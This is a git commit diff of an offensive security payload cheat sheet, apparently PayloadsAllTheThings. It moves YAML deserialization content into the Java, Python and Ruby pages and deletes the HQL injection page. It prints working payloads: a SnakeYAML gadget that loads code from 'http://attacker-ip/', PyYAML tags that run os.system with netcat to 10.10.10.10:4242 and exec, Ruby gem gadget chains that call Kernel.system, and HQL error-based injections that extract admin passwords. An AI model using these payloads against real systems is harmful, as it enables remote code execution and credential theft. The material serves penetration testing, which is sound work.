YAML Deserialization

This commit is contained in:
Swissky 2024-11-17 20:48:10 +01:00
parent b98f8ca587
commit 9932059563
6 changed files with 94 additions and 276 deletions

View file

@ -10,6 +10,7 @@
* [Ysoserial](#ysoserial)
* [Burp extensions using ysoserial](#burp-extensionsl)
* [Alternative Tooling](#alternative-tooling)
* [YAML Deserialization](#yaml-deserialization)
* [References](#references)
@ -100,7 +101,7 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
```
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
@ -131,6 +132,21 @@ Payload generators for the following marshallers are included:
| YAMLBeans | third party RCE |
## YAML Deserialization
SnakeYAML
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## References
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)

View file

@ -6,9 +6,15 @@
* [Detection](#detection)
* [Pickle](#pickle)
* [PyYAML](#pyyaml)
* [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
## Detection
In Python source code, look for these sinks:
@ -65,6 +71,47 @@ print("Your Evil Token : {}").format(evil_token)
```
## PyYAML
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
```py
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
## References
- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)

View file

@ -5,12 +5,12 @@
## Summary
* [Marshal.load](#marshalload)
* [Yaml.load](#yamlload)
* [Marshal Deserialization](#marshal-deserialization)
* [YAML Deserialization](#yaml-deserialization)
* [References](#references)
## Marshal.load
## Marshal Deserialization
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
@ -18,7 +18,8 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
```
## Yaml.load
## YAML Deserialization
Vulnerable code
@ -29,7 +30,7 @@ YAML.load(File.read("p.yml"))
Universal gadget for ruby <= 2.7.2:
```ruby
```yaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
@ -43,7 +44,7 @@ requirements:
Universal gadget for ruby 2.x - 3.x.
```ruby
```yaml
---
- !ruby/object:Gem::Installer
i: x
@ -65,6 +66,28 @@ Universal gadget for ruby 2.x - 3.x.
method_id: :resolve
```
```yaml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## References

View file

@ -1,104 +0,0 @@
# YAML Deserialization
> YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [PyYAML](#pyyaml)
* [ruamel.yaml](#ruamelyaml)
* [Ruby](#ruby)
* [SnakeYAML](#snakeyaml)
* [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
## Methodology
### PyYAML
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution.
[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)```
```
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
## Ruamel.yaml
## Ruby
```ruby
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## SnakeYAML
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## References
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)

View file

@ -1,163 +0,0 @@
# Hibernate Query Language Injection
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
## Summary
* [HQL Comments](#hql-comments)
* [HQL List Columns](#hql-list-columns)
* [HQL Error Based](#hql-error-based)
* [Single Quote Escaping](#single-quote-escaping)
* [$-quoted strings](#--quoted-strings)
* [DBMS Magic functions](#dbms-magic-functions)
* [Unicode](#unicode)
* [Java constants](#java-constants)
* [Methods by DBMS](#methods-by-dbms)
* [References](#references)
## HQL Comments
HQL does not support comments.
## HQL List Columns
```sql
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
```
Using an unexisting column will an exception leaking several columns names.
```sql
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
```
## HQL Error Based
```sql
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
```
Error based on value casting.
```sql
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
```
:warning: **HQL does not support UNION queries**
## Single Quote Escaping
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
```sql
'abc\''or 1=(select 1)--'
```
In HQL it is a string, in MySQL it is a string and additional SQL expression.
## $-quoted strings
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
Hibernate ORM allows identifiers starting with `$$`.
```sql
$$='$$=concat(chr(61),chr(39)) and 1=1--'
```
## DBMS Magic functions
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
Hibernate allows to specify any function name in HQL expression.
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
```sql
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
```
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
```sql
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
```
## Unicode
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
HQL allows UNICODE symbols in identifiers (function or parameter names).
```sql
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```
## Java constants
Method works for most DBMS (does not work for MySQL).
Hibernate resolves Java public static fields (Java constants) in HQL queries:
- Class with Java constant must be in classpath
- Ex. `java.lang.Character.SIZE` is resolved to 16
- String or char constants are additionally surrounded by single quotes
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
```java
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
```
Some usable constants in well-known Java libraries:
```ps1
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
```
```sql
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```
## References
- [HQL for pentesters - Philippe Arteau - February 12, 2014](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
- [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt - July 7, 2010](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
- [HQL: Hyperinsane Query Language - Renaud Dubourguais - June 4, 2015](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
- [ORM2Pwn: Exploiting injections in Hibernate ORM - Mikhail Egorov - November 26, 2015](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
- [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov - October 16, 2016](https://web.archive.org/web/20161016220026/https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
- [HQL Injection Exploitation in MySQL - Olga Barinova - July 18, 2019](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)

View file

@ -12,7 +12,6 @@
* [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
* [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
* [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
* [HQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md)
* [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)
* [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap%20Cheatsheet.md)
* [Tools](#tools)